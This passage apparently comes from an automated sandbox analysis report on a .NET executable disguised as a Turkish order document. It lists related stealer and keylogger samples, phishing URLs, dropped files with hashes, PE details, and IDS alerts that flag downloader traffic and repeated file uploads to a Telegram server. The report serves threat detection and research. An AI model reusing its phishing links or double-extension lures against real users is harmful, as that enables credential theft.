	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=vyczmuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#changyeol.choi@hyundaielevator.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=rmgfuFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=olgelfuabFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%70%68%69%6C%2D%68%65%61%6C%74%68%2D%75%6B%2E%67%6C%69%74%63%68%2E%6D%65%2F#kh.jang@hyundaimovex.com	Get hash	malicious	Unknown	Browse	149.154.167.220
	ZT0KQ1PC.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	RisingStrip.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	https://telegra.ph/Clarkson-122025-01-02	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.208.58
	http://www.housepricesintheuk.co.uk	Get hash	malicious	Unknown	Browse	172.64.155.119
	APLICATIVO-WINDOWS-NOTA-FISCAL.msi	Get hash	malicious	AteraAgent	Browse	104.18.18.106
	https://pwv95gp5r-xn--r3h9jdud-xn----c1a2cj-xn----p1ai.translate.goog/sIQKSvTC/b8KvU/uoTt6?ZFhObGNpNXBiblp2YkhabGJXVnVkRUJ6YjNWMGFHVnliblJ5ZFhOMExtaHpZMjVwTG01bGRBPT06c1JsOUE+&_x_tr_sch=http&_x_tr_sl=hrLWHGLm&_x_tr_tl=bTtllyql	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Agent381.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	https://o365info.com/get-unlicensed-onedrive-accounts/	Get hash	malicious	Unknown	Browse	104.18.27.193
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://czfc104.na1.hubspotlinks.com/Ctc/RI+113/cZFc104/VVpBhY3Y-LTWW3Cvl9B8hKRPtVVm64t5qdmRWN1f4_WP7mt9FW50l5tj6lZ3lNW8SvDYK4v65T-W5VNxKh8dLcmKW1GlXcL834zD3W5w7v_71CDbKVV4Dsjr5FnQ2PVSHlbR3pc5MwW72kzKm6WrbY7W6NJh0_7GRxDMW2K2WDT2ZPr4xW3b_gtn2bnp5xW7Hn0F58SN9mqN4_D9_QrtgD8VBy-hV2j1qrbW3N54fh8gXkqCW6JcyP11p5DmRW6d2nj72MkQXgW6hgqJx7Gc_ycW5DT-Pm451FQhW4Tph0s8GNtc-W58sq8G9dpW27W5S3wzf7rNLv_Vn6h606T2B8YN4yb6VRDg_G5W36Gvt_2lnk9qW2LykX37R4KRSW1F2tHT3jrLyjW7hSkG572MN4TW75KrBz5T-zFkVLJYW27hKs9nW3h3Pmh907wxLW2Zzdnn98hQC7W2Qnk7D31ZBJjW83tNvQ2nNht5W1HJvHm95P722W55gfDx9lT1vDW1ykGr_219m_RW5ff63S7MhCcQW4_QfK_5TQdprVlF4dm2DH-ctW6mF-BW36YwwNW99r61n6mmMhVW2v1J7Q5mVXz2W53lcRT6L4fsVN8gyZcXY0MfLW2kLwLd1TYk1wW7MzDQt4QNh6nW1bMMpS84VG-SW6F_Tym5bK06Qf6rQzB604	Get hash	malicious	Unknown	Browse	104.16.117.116
ORACLE-BMC-31898US	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Fantazy.i686.elf	Get hash	malicious	Unknown	Browse	193.123.7.176
	fuckunix.spc.elf	Get hash	malicious	Mirai	Browse	144.25.181.0
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	test.exe	Get hash	malicious	Unknown	Browse	130.61.86.87
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO#5_Tower_049.bat	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	adguardInstaller.exe	Get hash	malicious	PureLog Stealer	Browse	188.114.96.3
	W2k2NLSvja.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	anrek.mp4.hta	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	title.mp4.hta	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	149.154.167.220
	Agent381.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	Setup.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Setup.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	yxU3AgeVTi.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ITT # KRPBV2663 .doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Ref#66001032.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	kP8EgMorTr.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2357027453026816
Encrypted:	false
SSDEEP:	6:kKtuT9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:lbDImsLNkPlE99SNxAhUe/3
MD5:	821D405E3F15378C176219D9A4CD1AD2
SHA1:	C3BDD1D7A769C99AE234BA71476A45DA0EE0D172
SHA-256:	B93A8B1428861B87CBC9275B11705353D5E9CDAA8F4B3E87C092F00E4DB85E24
SHA-512:	64FB16667E283D5BA7748CC77B86C6CC22F634BA6C0C1DE297964D3362990CDC600857B026837F8F684CAF59B310D0123F43A6C869685AE1A712DD49A8B8D6BA
Malicious:	false
Reputation:	low
Preview:	p...... .........v$j>...(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe.log

Download File

Process:	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	5.357042452875322
Encrypted:	false
SSDEEP:	24:3CytZWSKco4KmBs4RPT6BmFoUebIKomjKcmZ9t7J0gt/NKIl9r6dj:yyjWSU4y4RQmFoUeWmfmZ9tK8NDE
MD5:	475D428E7231D005EEA5DB556DBED03F
SHA1:	3D603ED4280E0017D1BEB124D68183F8283B5C22
SHA-256:	1314488A930843A7E1A003F2E7C1D883DB44ADEC26AC1CA096FE8DC1B4B180F5
SHA-512:	7181BDCE6DA8DA8AFD3A973BB2B0BA470468EFF32FFB338DB2662FEFA1A7848ACD87C319706B95401EA18DC873CA098DC722EA6F8B2FD04F1AABD2AEBEA97CF9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0jkwsp2s.s4l.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hb2dgzb.wtk.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cvdpgrcy.i1e.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mkrrqxq1.w50.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.649353855740126
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe
File size:	822'272 bytes
MD5:	9807fbe0e0a41bd3c0aa773880fa1caf
SHA1:	83ced32d308754d75286f8bff094bd1c18f7f981
SHA256:	8515cd8f15f1b16373993dfb77427a0fe071abb0384f9bfe55f14adc4ff5d30a
SHA512:	dbeca73182b8f258260e1d75e16b0cab5babe7b6cda52c5fa8bbed45100218ae25cd8a3eef991b214ec55e8ee471ab271a4382c0bb0aa9412f171721b03a9d7f
SSDEEP:	12288:HUoV+I4MVKW3f+0VaLZpYhtbcc8jMDdNYTwZtgHkwwIkHrxRl5aFXD+jWo:9RgQTQPYXX8jAdNYTuM4IerxRHUDSW
TLSH:	DB05F1993268EB05D4E68FF50620D3B413389DCAA612D3074FEB7DEB3876B412D18A57
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&.................0.............N.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4c9f4e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xCACADD26 [Sun Oct 24 09:15:18 2077 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
adc byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc9efa	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xca000	0x608	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xcc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xc77c4	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc7f54	0xc8000	ecf6701825b631a262159c5207cbfb9f	False	0.873509521484375	data	7.658402428264346	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xca000	0x608	0x800	588c2be8454e353456a58e5e6c44063e	False	0.33642578125	data	3.4288368723811176	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xcc000	0xc	0x200	6af0d62c172e7846d1e86bc880bb431c	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xca090	0x378	data			0.42792792792792794
RT_MANIFEST	0xca418	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-06T13:57:00.239360+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49712	158.101.44.242	80	TCP
2025-01-06T13:57:01.379598+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49712	158.101.44.242	80	TCP
2025-01-06T13:57:01.946848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49716	188.114.96.3	443	TCP
2025-01-06T13:57:02.582772+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49717	158.101.44.242	80	TCP
2025-01-06T13:57:04.440333+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49721	188.114.96.3	443	TCP
2025-01-06T13:57:12.096679+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.6	49774	149.154.167.220	443	TCP
2025-01-06T13:57:18.967446+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49824	149.154.167.220	443	TCP
2025-01-06T13:57:41.453515+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62498	149.154.167.220	443	TCP
2025-01-06T13:57:42.643432+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62504	149.154.167.220	443	TCP
2025-01-06T13:57:43.782740+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62510	149.154.167.220	443	TCP
2025-01-06T13:57:44.735339+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62519	149.154.167.220	443	TCP
2025-01-06T13:57:45.864986+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62527	149.154.167.220	443	TCP
2025-01-06T13:57:46.793539+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62534	149.154.167.220	443	TCP
2025-01-06T13:57:47.735977+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62540	149.154.167.220	443	TCP
2025-01-06T13:57:48.764793+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62544	149.154.167.220	443	TCP
2025-01-06T13:57:50.066443+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62545	149.154.167.220	443	TCP
2025-01-06T13:57:51.161010+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62546	149.154.167.220	443	TCP
2025-01-06T13:57:52.729270+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62547	149.154.167.220	443	TCP
2025-01-06T13:57:53.795730+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62548	149.154.167.220	443	TCP
2025-01-06T13:57:54.817182+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62549	149.154.167.220	443	TCP
2025-01-06T13:57:55.786631+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62550	149.154.167.220	443	TCP
2025-01-06T13:57:56.882346+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62551	149.154.167.220	443	TCP
2025-01-06T13:57:57.822620+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62552	149.154.167.220	443	TCP
2025-01-06T13:57:58.795421+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62553	149.154.167.220	443	TCP
2025-01-06T13:57:59.736999+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62554	149.154.167.220	443	TCP
2025-01-06T13:58:03.655381+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62555	149.154.167.220	443	TCP
2025-01-06T13:58:04.624280+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62556	149.154.167.220	443	TCP
2025-01-06T13:58:05.634650+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	62557	149.154.167.220	443	TCP
